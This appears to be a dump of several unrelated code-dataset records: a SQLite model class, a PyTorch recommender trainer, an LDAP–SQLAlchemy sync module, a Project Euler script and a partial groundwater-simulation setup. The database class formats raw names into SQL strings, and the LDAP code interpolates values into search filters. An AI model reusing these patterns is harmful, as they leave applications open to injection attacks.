theta_z_bores,\r\n theta_y_device, theta_z_device):\r\n query = 'INSERT INTO steps VALUES({id_preading}, {step},' \\\r\n ' {beta_up}, {beta_middle}, {beta_down},' \\\r\n ' {delta_beta_up}, {delta_beta_middle}, {delta_beta_down},'\\\r\n ' {delta_alpha_up}, {delta_alpha_middle}, {delta_alpha_down},'\\\r\n ' {theta_y}, {theta_z},' \\\r\n ' {theta_y_bores}, {theta_z_bores},' \\\r\n ' {theta_y_device}, {theta_z_device})'\\\r\n .format(id_preading=id_preading,\r\n step=step,\r\n beta_up=betas['beta_up'],\r\n beta_middle=betas['beta_middle'],\r\n beta_down=betas['beta_down'],\r\n delta_beta_up=bores['up'][\"delta_beta\"],\r\n delta_beta_middle=bores['middle'][\"delta_beta\"],\r\n delta_beta_down=bores['down'][\"delta_beta\"],\r\n delta_alpha_up=bores['up'][\"delta_alpha\"],\r\n delta_alpha_middle=bores['middle'][\"delta_alpha\"],\r\n delta_alpha_down=bores['down'][\"delta_alpha\"],\r\n theta_y=theta_y,\r\n theta_z=theta_z,\r\n theta_y_bores=theta_y_bores,\r\n theta_z_bores=theta_z_bores,\r\n theta_y_device=theta_y_device,\r\n theta_z_device=theta_z_device\r\n )\r\n self.cursor.execute(query)\r\n self.connect.commit()\r\n\r\n def insert_name(self, name):\r\n query = 'INSERT INTO regulator VALUES((SELECT max(id) FROM regulator)+1, \"{name}\")'\\\r\n .format(name=name)\r\n self.cursor.execute(query)\r\n self.connect.commit()\r\n\r\n def occurrence_name(self, name):\r\n query = 'SELECT name FROM regulator WHERE name = \"{name}\"'\\\r\n .format(name=name)\r\n self.cursor.execute(query)\r\n if self.cursor.fetchall():\r\n return True\r\n else:\r\n return False\r\n\r\nif __name__ == \"__main__\":\r\n db = DBModel()\r\n theta_y, theta_z = db.get_now_theta(id_preaging=105, step=2)\r\n print(theta_y, theta_z)","sub_path":"db_model.py","file_name":"db_model.py","file_ext":"py","file_size_in_byte":5319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"71979111","text":"import itertools\n\n\ndef solution(a_list):\n a=[]\n for i in range(0,len(a_list)+1):\n for x in itertools.combinations(set(a_list),i):\n # print(\"iteration----\"+str(i))\n a.append(list(x))\n return a\n# help(itertools)\nprint(solution([10, 20, 30]))\n# help(itertools.combinations)\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"580780665","text":"import imageio\nimport numpy as np\nimport torch\nimport time\nfrom torch.nn import functional as F\nfrom torchvision.utils import make_grid\nfrom sklearn.preprocessing import OneHotEncoder\n\nEPS = 1e-12\nclass Trainer():\n def _idcg(self, l):\n return sum((1.0 / np.log(i + 2) for i in range(l)))\n\n def __init__(self, model, optimizer, nsongs, print_loss_every=50, record_loss_every=5,\n use_cuda=False):\n \"\"\"\n Class to handle training of model.\n\n Parameters\n ----------\n model : jointvae.models.VAE instance\n\n optimizer : torch.optim.Optimizer instance\n\n print_loss_every : int\n Frequency with which loss is printed during training.\n\n record_loss_every : int\n Frequency with which loss is recorded during training.\n\n use_cuda : bool\n If True moves model and training to GPU.\n \"\"\"\n self.model = model\n self.optimizer = optimizer\n self.print_loss_every = print_loss_every\n self.record_loss_every = record_loss_every\n self.use_cuda = use_cuda\n self.nsongs = nsongs\n self._idcgs = [self._idcg(i) for i in range(251)]\n\n if self.use_cuda:\n self.model.cuda()\n\n # Initialize attributes\n self.num_steps = 0\n self.batch_size = None\n self.losses = {'total_loss': [],\n 'ndcg': []}\n\n\n def train(self, data_loader, epochs=10, save_training_gif=None):\n \"\"\"\n Trains the model.\n\n Parameters\n ----------\n data_loader : torch.utils.data.DataLoader\n\n epochs : int\n Number of epochs to train the model for.\n\n save_training_gif : None or tuple (string, Visualizer instance)\n If not None, will use visualizer object to create image of samples\n after every epoch and will save gif of these at location specified\n by string. Note that string should end with '.gif'.\n \"\"\"\n if save_training_gif is not None:\n training_progress_images = []\n\n self.batch_size = data_loader.batch_size\n self.model.train()\n for epoch in range(epochs):\n epoch_train_start = time.time()\n mean_epoch_loss, mean_epoch_ndcg, mean_epoch_loss_recon, mean_epoch_loss_embed = self._train_epoch(data_loader)\n print('Epoch: {} Average loss: {:.2f} Average ndcg: {:.2f} Average recon_loss: {:.2f} Average embed_loss: {:.2f} Training time: {:.2f}'.format(epoch + 1,\n mean_epoch_loss, mean_epoch_ndcg, mean_epoch_loss_recon, mean_epoch_loss_embed,\n time.time() - epoch_train_start ))\n torch.save({'epoch': epoch,\n 'model_state_dict': self.model.state_dict(),\n 'optimizer_state_dict': self.optimizer.state_dict(),\n 'loss': self.batch_size * self.model.num_pixels * mean_epoch_loss,\n 'time': time.time() - epoch_train_start\n }, \"./output_model_epoch_\"+str(epoch)+\".pth\")\n\n \n def _train_epoch(self, data_loader):\n \"\"\"\n Trains the model for one epoch.\n\n Parameters\n ----------\n data_loader : torch.utils.data.DataLoader\n \"\"\"\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n epoch_loss = 0.\n epoch_ndcg = 0.\n epoch_loss_recon = 0.\n epoch_loss_embed = 0.\n print_every_loss = 0.\n print_every_ndcg = 0.\n print_every_loss_recon = 0.\n print_every_loss_embed = 0.\n # Keeps track of loss to print every\n # self.print_loss_every\n for batch_idx, datas in enumerate(data_loader):\n # data, label = datas['input'], datas['label']\n # data = data.to(device)\n # label = label.to(device)\n iter_loss, ndcg_loss, iter_loss_recon, iter_loss_embed = self._train_iteration(datas)\n epoch_loss += iter_loss\n epoch_ndcg += ndcg_loss\n epoch_loss_recon += iter_loss_recon\n epoch_loss_embed += iter_loss_embed\n print_every_loss += iter_loss\n print_every_ndcg += ndcg_loss\n print_every_loss_recon += iter_loss_recon\n print_every_loss_embed += iter_loss_embed\n # Print loss info every self.print_loss_every iteration\n if batch_idx % self.print_loss_every == 0:\n if batch_idx == 0:\n mean_loss = print_every_loss\n mean_ndcg = print_every_ndcg\n mean_loss_recon = print_every_loss_recon\n mean_loss_embed = print_every_loss_embed\n else:\n mean_loss = print_every_loss / self.print_loss_every\n mean_ndcg = print_every_ndcg / self.print_loss_every\n mean_loss_recon = print_every_loss_recon / self.print_loss_every\n mean_loss_embed = print_every_loss_embed / self.print_loss_every\n print('{}/{}\\tLoss: {:.9f}\\tndcg: {:.9f} recon_loss: {:.9f} embed_loss: {:.9f}'.format(batch_idx * len(datas['input']),\n len(data_loader.dataset),\n mean_loss, mean_ndcg, mean_loss_recon, mean_loss_embed))\n print_every_loss = 0.\n print_every_ndcg = 0.\n print_every_loss_recon = 0.\n print_every_loss_embed = 0.\n # Return mean epoch loss\n return epoch_loss / len(data_loader.dataset), epoch_ndcg / len(data_loader.dataset), epoch_loss_recon / len(data_loader.dataset), epoch_loss_embed / len(data_loader.dataset)\n\n def _train_iteration(self, datas):\n \"\"\"\n Trains the model for one iteration on a batch of data.\n\n Parameters\n ----------\n data : torch.Tensor\n A batch of data. Shape (N, C, H, W)\n \"\"\"\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n self.num_steps += 1\n\n data, label = datas['input'], datas['label']\n if self.use_cuda:\n data = data.to(device)\n # label = label.cuda()\n self.optimizer.zero_grad()\n #print(\"ww:\", data.shape, label.shape)\n recon_batch, song_embeddings_100, song_embeddings_10_100, song_embeddings_0_10 = self.model(data)\n recon_batch = recon_batch.view(len(data),-1)\n #print(\"ww1:\", recon_batch.shape)\n sorted, indices = torch.sort(recon_batch, descending=True)\n output_recon = torch.stack(list(map(lambda a: (indices.squeeze() == a).nonzero().squeeze(), range(200))))\n loss_recon = self._loss_function(label, recon_batch)\n loss_embed = self._loss_function_embed(song_embeddings_100, song_embeddings_10_100, song_embeddings_0_10)\n loss = loss_recon + loss_embed\n #print(label.shape, output_recon.shape, recon_batch.shape, indices.shape)\n #print(label, output_recon[:14])\n ndcg_loss = self._ndcg(label.reshape(-1),output_recon.cpu().detach().numpy())\n loss.backward()\n self.optimizer.step()\n\n train_loss = loss.item()\n return train_loss, ndcg_loss, loss_recon, loss_embed\n\n def _ndcg(self, gt, rec):\n dcg = 0.0\n #print(gt.shape,rec.shape)\n for i, r in enumerate(rec):\n if r in gt:\n dcg += 1.0 / np.log(i + 2)\n\n return dcg / self._idcgs[len(gt)]\n\n def _loss_function(self, data, recon_data):\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n n_songs = self.nsongs\n # print(n_songs)\n enc = OneHotEncoder(handle_unknown='ignore')\n X = np.array(range(n_songs))\n X = X.reshape(len(X),-1)\n enc.fit(X)\n new_data = []\n for d in data:\n new_data.append(torch.FloatTensor(3*enc.transform(d.reshape(-1,1)).toarray().sum(axis=0)))\n new_data = torch.stack(new_data).cuda()\n # data = data.view(-1).cuda()\n total_loss = F.binary_cross_entropy_with_logits(recon_data, new_data)\n # print(total_loss)\n\n if self.model.training and self.num_steps % self.record_loss_every == 1:\n self.losses['total_loss'].append(total_loss.item())\n\n # To avoid large losses normalise by number of pixels\n return total_loss\n\n def _loss_function_multi_margin(self, data, recon_data):\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n n_songs = self.nsongs\n # print(n_songs)\n enc = OneHotEncoder(handle_unknown='ignore')\n X = np.array(range(n_songs))\n X = X.reshape(len(X),-1)\n enc.fit(X)\n #new_data = []\n # for d in data:\n # torch.FloatTensor(enc.transform(d.reshape(-1,1)).toarray()\n # new_data.append(torch.FloatTensor(enc.transform(d.reshape(-1,1)).toarray().sum(axis=0)))\n # new_data = torch.stack(new_data).cuda()\n data = data.view(-1).cuda()\n # print(recon_data.shape, data.shape)\n total_loss = 0.\n for d in data:\n total_loss += F.multi_margin_loss(recon_data, d)\n #total_loss = F.binary_cross_entropy(recon_data, new_data)\n # print(total_loss)\n\n if self.model.training and self.num_steps % self.record_loss_every == 1:\n self.losses['total_loss'].append(total_loss.item())\n\n # To avoid large losses normalise by number of pixels\n return total_loss / data.shape[0]\n\n def _loss_function_embed(self, song_embeddings_100, song_embeddings_10_100, song_embeddings_0_10):\n song_embedding_100_mean = []\n song_embedding_10_100_mean = []\n song_embedding_0_10_mean = []\n for song_embedding_100 in song_embeddings_100:\n mean_100 = song_embedding_100.mean(dim=0)\n for _ in range(song_embedding_100.shape[0]):\n song_embedding_100_mean.append(mean_100)\n song_embedding_100_mean = torch.stack(song_embedding_100_mean)\n loss_100 = F.mse_loss(song_embedding_100, song_embedding_100_mean)#, reduction = 'sum')\n\n for song_embedding_10_100 in song_embeddings_10_100:\n mean_10_100 = song_embedding_10_100.mean(dim=0)\n for _ in range(song_embedding_10_100.shape[0]):\n song_embedding_10_100_mean.append(mean_10_100)\n song_embedding_10_100_mean = torch.stack(song_embedding_10_100_mean)\n loss_10_100 = F.mse_loss(song_embedding_10_100, song_embedding_10_100_mean)#, reduction = 'sum') / song_embedding_10_100.shape[0]\n\n \n for song_embedding_0_10 in song_embeddings_0_10:\n mean_0_10 = song_embedding_0_10.mean(dim=0)\n for _ in range(song_embedding_0_10.shape[0]):\n song_embedding_0_10_mean.append(mean_0_10)\n song_embedding_0_10_mean = torch.stack(song_embedding_0_10_mean)\n loss_0_10 = F.mse_loss(song_embedding_0_10, song_embedding_0_10_mean)#, reduction = 'sum') / song_embedding_0_10.shape[0]\n\n return loss_100+loss_10_100+loss_0_10","sub_path":"autoencoder/training_new.py","file_name":"training_new.py","file_ext":"py","file_size_in_byte":11274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"443792717","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import (\n\tunicode_literals,\n\tprint_function,\n\tabsolute_import,\n\tdivision\n)\n\nimport ldap\nfrom sqlalchemy import event\nfrom ldappool import ConnectionManager\nfrom pyramid.settings import asbool\n#from pyramid.threadlocal import get_current_request\n#from netprofile.ext.data import ExtModel\n#from netprofile.common.modules import IModuleManager\nfrom netprofile.common.hooks import register_hook\n\n# _ = TranslationStringFactory('netprofile_ldap')\n\nLDAPPool = None\n\n_LDAP_ORM_CFG = 'netprofile.ldap.orm.%s.%s'\n_ldap_active = False\n\n# model-level:\n# ldap_classes\n# ldap_rdn\n\n# column-level:\n# ldap_attr (can be a list)\n# ldap_value (can be a callable)\n\nclass LDAPConnector(object):\n\tdef __init__(self, pool, req):\n\t\tself.pool = pool\n\t\tself.req = req\n\n\tdef connection(self, login=None, pwd=None):\n\t\treturn self.pool.connection(login, pwd)\n\ndef _gen_search_attrs(em, settings):\n\tattrs = []\n\tsname = _LDAP_ORM_CFG % (em.name, 'base')\n\tif sname not in settings:\n\t\tsname = _LDAP_ORM_CFG % ('default', 'base')\n\tattrs.append(settings.get(sname))\n\n\tsname = _LDAP_ORM_CFG % (em.name, 'scope')\n\tif sname not in settings:\n\t\tsname = _LDAP_ORM_CFG % ('default', 'scope')\n\tval = settings.get(sname, 'base')\n\tif val == 'base':\n\t\tval = ldap.SCOPE_BASE\n\telif val == 'one':\n\t\tval = ldap.SCOPE_ONELEVEL\n\telif val == 'sub':\n\t\tval = ldap.SCOPE_SUBTREE\n\tattrs.append(val)\n\n\treturn attrs\n\ndef _gen_attrlist(cols, settings, info):\n\tobject_classes = info.get('ldap_classes')\n\tdef _attrlist(tgt):\n\t\tattrs = {\n\t\t\t'objectClass' : []\n\t\t}\n\t\tfor oc in object_classes:\n\t\t\tattrs['objectClass'].append(oc.encode())\n\t\tfor cname, col in cols.items():\n\t\t\ttry:\n\t\t\t\tldap_attr = col.column.info['ldap_attr']\n\t\t\texcept KeyError:\n\t\t\t\tcontinue\n\t\t\tprop = tgt.__mapper__.get_property_by_column(col.column)\n\t\t\tif 'ldap_value' in col.column.info:\n\t\t\t\tcb = col.column.info['ldap_value']\n\t\t\t\ttry:\n\t\t\t\t\tcb = getattr(tgt, cb)\n\t\t\t\texcept AttributeError:\n\t\t\t\t\tcontinue\n\t\t\t\tif not callable(cb):\n\t\t\t\t\tcontinue\n\t\t\t\ttry:\n\t\t\t\t\tval = cb(settings)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\t# TODO: handle multiple values\n\t\t\t\tval = getattr(tgt, prop.key)\n\t\t\tif (not isinstance(val, bytes)) and (val is not None):\n\t\t\t\tif not isinstance(val, str):\n\t\t\t\t\tval = str(val)\n\t\t\t\tval = val.encode()\n\t\t\tif isinstance(ldap_attr, (list, tuple)):\n\t\t\t\tfor la in ldap_attr:\n\t\t\t\t\tattrs[la] = [val]\n\t\t\telse:\n\t\t\t\tif val is None:\n\t\t\t\t\tattrs[ldap_attr] = None\n\t\t\t\telse:\n\t\t\t\t\tattrs[ldap_attr] = [val]\n\t\textra = getattr(tgt, 'ldap_attrs', None)\n\t\tif extra and callable(extra):\n\t\t\tattrs.update(extra(settings))\n\t\treturn attrs\n\treturn _attrlist\n\ndef get_rdn(obj):\n\tldap_rdn = obj.__table__.info.get('ldap_rdn')\n\tcol = obj.__table__.columns[ldap_rdn]\n\tprop = obj.__mapper__.get_property_by_column(col)\n\ttry:\n\t\tldap_attr = col.info['ldap_attr']\n\texcept KeyError:\n\t\tldap_attr = ldap_rdn\n\tif isinstance(ldap_attr, (list, tuple)):\n\t\tldap_attr = ldap_attr[0]\n\treturn '%s=%s' % (ldap_attr, getattr(obj, prop.key))\n\ndef get_dn(obj, settings):\n\tsname = _LDAP_ORM_CFG % (obj.__class__.__name__, 'base')\n\tif sname not in settings:\n\t\tsname = _LDAP_ORM_CFG % ('default', 'base')\n\tbase = settings.get(sname)\n\treturn '%s,%s' % (get_rdn(obj), base)\n\ndef _gen_ldap_object_rdn(em, rdn_col):\n\tcol = em.get_column(rdn_col)\n\tprop = em.model.__mapper__.get_property_by_column(col.column)\n\ttry:\n\t\tldap_attr = col.column.info['ldap_attr']\n\texcept KeyError:\n\t\tldap_attr = rdn_col\n\tif isinstance(ldap_attr, (list, tuple)):\n\t\tldap_attr = ldap_attr[0]\n\tdef _ldap_object_rdn(tgt):\n\t\treturn '%s=%s' % (ldap_attr, getattr(tgt, prop.key))\n\treturn _ldap_object_rdn\n\ndef _gen_ldap_object_load(em, info, settings):\n\tattrs = _gen_search_attrs(em, settings)\n\trdn_attr = info.get('ldap_rdn')\n\tobject_classes = info.get('ldap_classes')\n\tobject_classes = '(objectClass=' + ')(objectClass='.join(object_classes) + ')'\n\tget_rdn = _gen_ldap_object_rdn(em, rdn_attr)\n\tdef _ldap_object_load(tgt, ctx):\n\t\tret = None\n\t\trdn = get_rdn(tgt)\n\t\tflt = '(&(%s)%s)' % (rdn, object_classes)\n\t\twith LDAPPool.connection() as lc:\n\t\t\tret = lc.search_s(attrs[0], attrs[1], flt)\n\t\tif isinstance(ret, list) and (len(ret) > 0):\n\t\t\ttgt._ldap_data = ret[0]\n\treturn _ldap_object_load\n\ndef _gen_ldap_object_store(em, info, settings):\n\tcols = em.get_read_columns()\n\tcfg = _gen_search_attrs(em, settings)\n\trdn_attr = info.get('ldap_rdn')\n\tget_attrlist = _gen_attrlist(cols, settings, info)\n\tget_rdn = _gen_ldap_object_rdn(em, rdn_attr)\n\tdef _ldap_object_store(mapper, conn, tgt):\n\t\tattrs = get_attrlist(tgt)\n\t\tdn = '%s,%s' % (get_rdn(tgt), cfg[0])\n\t\tldap_data = getattr(tgt, '_ldap_data', False)\n\t\twith LDAPPool.connection() as lc:\n\t\t\tif ldap_data:\n\t\t\t\tif dn != ldap_data[0]:\n\t\t\t\t\tlc.rename_s(ldap_data[0], dn)\n\t\t\t\t\ttgt._ldap_data = ldap_data = (dn, ldap_data[1])\n\t\t\t\txattrs = []\n\t\t\t\tdel_attrs = []\n\t\t\t\tfor attr in attrs:\n\t\t\t\t\tval = attrs[attr]\n\t\t\t\t\tif val is None:\n\t\t\t\t\t\tif attr in ldap_data[1]:\n\t\t\t\t\t\t\txattrs.append((ldap.MOD_DELETE, attr, val))\n\t\t\t\t\t\tdel_attrs.append(attr)\n\t\t\t\t\telse:\n\t\t\t\t\t\txattrs.append((ldap.MOD_REPLACE, attr, val))\n\t\t\t\tfor attr in del_attrs:\n\t\t\t\t\tdel attrs[attr]\n\t\t\t\tlc.modify_s(ldap_data[0], xattrs)\n\t\t\t\ttgt._ldap_data[1].update(attrs)\n\t\t\telse:\n\t\t\t\tlc.add_s(dn, list(attrs.items()))\n\t\t\t\ttgt._ldap_data = (dn, attrs)\n\treturn _ldap_object_store\n\ndef _gen_ldap_object_delete(em, info, settings):\n\tcfg = _gen_search_attrs(em, settings)\n\trdn_attr = info.get('ldap_rdn')\n\tget_rdn = _gen_ldap_object_rdn(em, rdn_attr)\n\tdef _ldap_object_delete(mapper, conn, tgt):\n\t\tdn = '%s,%s' % (get_rdn(tgt), cfg[0])\n\t\twith LDAPPool.connection() as lc:\n\t\t\tlc.delete_s(dn)\n\treturn _ldap_object_delete\n\n@register_hook('np.model.load')\ndef _proc_model_ldap(mmgr, model):\n\tif not _ldap_active:\n\t\treturn\n\tinfo = model.model.__table__.info\n\tif ('ldap_classes' not in info) or ('ldap_rdn' not in info):\n\t\treturn\n\n\tsettings = mmgr.cfg.registry.settings\n\n\tevent.listen(model.model, 'load', _gen_ldap_object_load(model, info, settings))\n\tevent.listen(model.model, 'after_insert', _gen_ldap_object_store(model, info, settings))\n\tevent.listen(model.model, 'after_update', _gen_ldap_object_store(model, info, settings))\n\tevent.listen(model.model, 'after_delete', _gen_ldap_object_delete(model, info, settings))\n\ndef includeme(config):\n\tglobal _ldap_active, LDAPPool\n\n\tsettings = config.registry.settings\n\tldap_cfg = {}\n\tldap_names = (\n\t\t'uri', 'bind', 'passwd',\n\t\t'size', 'retry_max', 'retry_delay',\n\t\t'use_tls', 'timeout', 'use_pool'\n\t)\n\tfor name in ldap_names:\n\t\tqname = 'netprofile.ldap.connection.%s' % name\n\t\tvalue = settings.get(qname, None)\n\t\tif value is not None:\n\t\t\tif name in {'size', 'retry_max', 'timeout'}:\n\t\t\t\tvalue = int(value)\n\t\t\telif name == 'retry_delay':\n\t\t\t\tvalue = float(value)\n\t\t\telif name in {'use_tls', 'use_pool'}:\n\t\t\t\tvalue = asbool(value)\n\t\t\tldap_cfg[name] = value\n\n\tLDAPPool = ConnectionManager(**ldap_cfg)\n\n\tdef get_system_ldap(request):\n\t\treturn LDAPConnector(LDAPPool, request)\n\tconfig.add_request_method(get_system_ldap, str('ldap'), reify=True)\n\n\t_ldap_active = True\n\n\tconfig.scan()\n\n","sub_path":"netprofile_ldap/netprofile_ldap/ldap.py","file_name":"ldap.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"248026324","text":"\ndone = False\ni = 0\nwhile not done:\n\ti+=1\n\tnum1 = str(i)\n\tnum2 = str(i*2)\n\tnum3 = str(i*3)\n\tnum4 = str(i*4)\n\tnum5 = str(i*5)\n\tnum6 = str(i*6)\n\t\n\tfound = True\n\tfor c in num6:\n\t\tif not(c in num1 and c in num2 and c in num3 and c in num4 and c in num5):\n\t\t\tfound = False\n\t\t\tbreak\n\tif found:\n\t\tanswer = i\n\t\tdone = True\t\t\t\n \t\t\n\nprint (answer)\nprint (num1)\nprint (num2)\nprint (num3)\nprint (num4)\nprint (num5)\nprint (num6)","sub_path":"Python/prob52.py","file_name":"prob52.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"580692067","text":"#%%\n\n'''\nthis code produces tructural mesh for toughreact, simulating submarine groundwater discharge \n1.need to define location of pytough, toughreact\n2. 'block' in toughreact and 'element' in this code means the same thing\n3. in the home folder of the simulation file \n4. surfacewater rather than surface_water\n5. need to install shapely\n 'conda install shapely' in windows\n 'pip3 install shapely' in bash\n \n'''\n\n#%%\nimport time\nimport numpy as np\nimport os\nimport matplotlib\n#matplotlib.use('Agg') #I had to use GTKAgg for this to work, GTK threw errors\n#%matplotlib qt # allow plotting window to pop out\n\nfrom types import SimpleNamespace\n\nimport matplotlib.pyplot as plt \nimport sys\n\nimport shapely.geometry as geom\nfrom shapely.geometry import Polygon, LineString, MultiLineString, MultiPolygon\nfrom shapely.strtree import STRtree\nfrom descartes import PolygonPatch\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import PatchCollection\n\n\n\n# below script is equivalent to '%matplotlib qt', allowing the plotting window\n# to pop out for turnning around\ntry:\n import IPython\n shell = IPython.get_ipython()\n shell.enable_matplotlib(gui='qt')\nexcept:\n pass \n\n\n# if os.path.exists('flow.inp'):\n # os.remove('flow.inp')\n# if os.path.exists('flow.out'):\n # os.remove('flow.out')\n# if os.path.exists('solute.out'):\n # os.remove('solute.out')\n# if os.path.exists('chemical.out'):\n # os.remove('chemical.out')\n# if os.path.exists('aqui_con.dat'):\n # os.remove('aqui_con.dat')\n# if os.path.exists('aqui_gas.dat'):\n # os.remove('aqui_gas.dat')\n# if os.path.exists('aqui_min.dat'):\n # os.remove('aqui_min.dat')\n# if os.path.exists('aqui_tim.dat'):\n # os.remove('aqui_tim.dat')\n# if os.path.exists('iter.dat'):\n # os.remove('iter.dat')\n #need to delete INCON.\n\npyduino_path = os.environ['pytough']\nsys.path.append(pyduino_path)\nfrom t2data import *\nfrom t2listing import *\nfrom t2intersection import intersect\n\n# %% #--- set up variables ---------------------------------\nwater_molecular_weight = 0.018\nkpaPpa = 1.e-3\nR_value = 8.3145\nmPmm = 1.e-3\ndayPs = 1./3600/24\n\nliquid_density_kgPm3 = 1000.\nbrine_default_density_kgPm3 = 1025.\nwater_molecular_weight = 0.018\nR_value = 8.3145\nmPmm = 1.e-3\nT_kelven = 273.15\nT_initial = 25.0\np_atm_pa = 101.3e3\nsimulation_time_day = 365\nsimulation_time_s = simulation_time_day/dayPs\nmax_no_time_steps = 9999 \n\n\n\ndy_surfacewater_element_m = 1.e5 # in principle, the volume of the surface water cell is determined by dx * dy * dz\n\n\n# #--- set up the title ---------------------------------\ninp = t2data()\ninp.title = 'dp_model_flow'\n\n# %%#--- set up the model ---------------------------------\nheight_difference = 6 \nunsaturated_depth_m = 1\nslope_value = 5 # the slope of the beach indicaetd as x/z \nslope_initial = 5\nlength_x = 35.\nmeshrefine_dx = 1.0\ndx = [1.0] * slope_initial + [meshrefine_dx] * int( ( height_difference - unsaturated_depth_m ) * slope_value /meshrefine_dx)+[1.0]*int(length_x-slope_initial-(height_difference-unsaturated_depth_m)*slope_value)\nnblks_x = len(dx) # the number of blocks in x direction\nlength_z = 20.\nmeshrefine_dz = 0.2\ndz = [1.0]*unsaturated_depth_m + [meshrefine_dz] * int((height_difference - unsaturated_depth_m )/meshrefine_dz) + [1.0] * int( length_z - height_difference - unsaturated_depth_m)\nnblks_z = len(dz)\n#dz = [length_z / nblks_z] * nblks_z\ndy = [1.0] #the variation of dy for surface water will not be considered here because that will make a 3-D case\nnumber_of_elements = nblks_x * nblks_z\ngeo = mulgrid().rectangular(dx, dy, dz)\n#geo.write(inp.title+'.dat')\n\n# %%#Create TOUGH2 input data file:\ninp.grid = t2grid().fromgeo(geo)\n\nelement = SimpleNamespace( **{} ) # initialise element object\nelement = SimpleNamespace( **{} ) # initialise element object\n\nelement.name_array = [i.name for i in inp.grid.blocklist]\nnumber_of_connections = len(inp.grid.connectionlist)\n# define mask matrix for all the connections that is horizontal\n\ninp.parameter.update(\n {'max_timesteps' : max_no_time_steps,\n 'const_timestep' : -1,\n 'tstop' : simulation_time_s,\n 'gravity' : 9.81,\n 'print_level' : 2,\n 'max_iterations' : 8,\n 'texp' : 1.8,\t\n 'timestep' : [1.0],\n 'be' : 2.334,\n 'default_incons' : [p_atm_pa, 0.0001, 10.9999, T_initial, None],\n 'relative_error' : 1.e-5,\n 'print_interval' : 9900.,\n 'max_timestep' : 5.e3}) # the maximum length of time step in second\n\n# %% #Set MOPs:\ninp.parameter['option'][1] = 0\ninp.parameter['option'][7] = 0\ninp.parameter['option'][11] = 0\ninp.parameter['option'][16] = 4\ninp.parameter['option'][19] = 2\ninp.parameter['option'][21] = 3\n\n# %% #Set start:\ninp.start = True\n\n# #Set diffusion:\ninp.diffusion=[[0.e-5, 0.e-8],\n [0.e-5, 1.e-7],\n [0.e-5, 0.e-8]]\n\n# #Set multi choice:\t\ninp.multi={'num_components' : 3,\n 'num_equations' : 3,\n 'num_phases' : 2,\n 'num_secondary_parameters' : 6}\n\t\t \n# # #Set SELEC: \ninp.selection={'float':[p_atm_pa, T_initial, brine_default_density_kgPm3],'integer':[2]}\n\n# # #Set TIMES: \nselected_start_time = int((simulation_time_day-1)/dayPs)\nselected_end_time = int((simulation_time_day-0)/dayPs)\n#selected_time_number = 100\nselected_time_number = int( ( selected_end_time-selected_start_time)*dayPs*48+1) # need to double check this.\ninp.output_times = {'num_times_specified': int(selected_time_number),\n 'time': list(np.linspace(selected_start_time,selected_end_time,selected_time_number))}\n\n# #deleted prior rocktype: \ninp.grid.delete_rocktype('dfalt')\n\n# #Add another rocktype, with relative permeability and capillarity functions & parameters:\n# relative_humidity=0.1\n# P_bound=np.log(relative_humidity)*liquid_density_kgPm3*R_value*(T_initial+T_kelven)/water_molecular_weight\nsand_permeability_m2 = 2.e-11\nsand_porosity = 0.45\nr0 = rocktype('SAND0',\n nad = 2,\n porosity = sand_porosity,\n density = 2650.,\n permeability = [sand_permeability_m2, sand_permeability_m2, sand_permeability_m2],\n conductivity = 2.51,\n specific_heat = 920)\nr0.tortuosity = 1\nr0.compressibility = 1.e-7\nResidual_saturation = 0.045\ngas_Residual_saturation = 0.054\nr0.relative_permeability = {'type': 7, 'parameters': [0.627, Residual_saturation, 1., gas_Residual_saturation]}\nr0.capillarity = {'type': 7, 'parameters': [0.627, Residual_saturation-1.e-5, 5.e-4, 1.e8, 1.]}\ninp.grid.add_rocktype(r0)\n\nrock_groundwater_seaward_section = rocktype('SAND1',\n nad = 2,\n porosity = sand_porosity,\n density = 2650.,\n permeability = [sand_permeability_m2, sand_permeability_m2, sand_permeability_m2],\n conductivity = 2.51,\n specific_heat = 920)\nrock_groundwater_seaward_section.tortuosity = 1\nrock_groundwater_seaward_section.compressibility = 1.e-7\nrock_groundwater_seaward_section.relative_permeability = {'type': 7, 'parameters': [0.627, Residual_saturation, 1., gas_Residual_saturation]}\nrock_groundwater_seaward_section.capillarity = {'type': 7, 'parameters': [0.627, Residual_saturation-1.e-5, 5.e-4, 1.e8, 1.]}\ninp.grid.add_rocktype(rock_groundwater_seaward_section)\n\nrock_groundwater_landward_section = rocktype('SAND2',\n nad = 2,\n porosity = sand_porosity,\n density = 2650.,\n permeability = [sand_permeability_m2, sand_permeability_m2, sand_permeability_m2],\n conductivity = 2.51,\n specific_heat = 920)\nrock_groundwater_landward_section.tortuosity = 1\nrock_groundwater_landward_section.compressibility = 1.e-7\nrock_groundwater_landward_section.relative_permeability = {'type': 7, 'parameters': [0.627, Residual_saturation, 1.,gas_Residual_saturation]}\nrock_groundwater_landward_section.capillarity = {'type': 7, 'parameters': [0.627, Residual_saturation-1.e-5, 5.e-4, 1.e8, 1.]}\ninp.grid.add_rocktype(rock_groundwater_landward_section)\n\nbound_permeability_m2 = 1.e-7\nsoil_grain_density_kgPm3 = 2650.\nporosity_surfacewater = 0.99\n\n# for easy implimentation of initial mass fraction \nr3 = rocktype('BOUN1',\n nad = 2,\n porosity = porosity_surfacewater,\n density = soil_grain_density_kgPm3,\n permeability = [bound_permeability_m2, bound_permeability_m2, bound_permeability_m2],\n conductivity = 2.51,\n specific_heat = 1.e5)\nr3.relative_permeability = {'type': 1, 'parameters': [0.1, 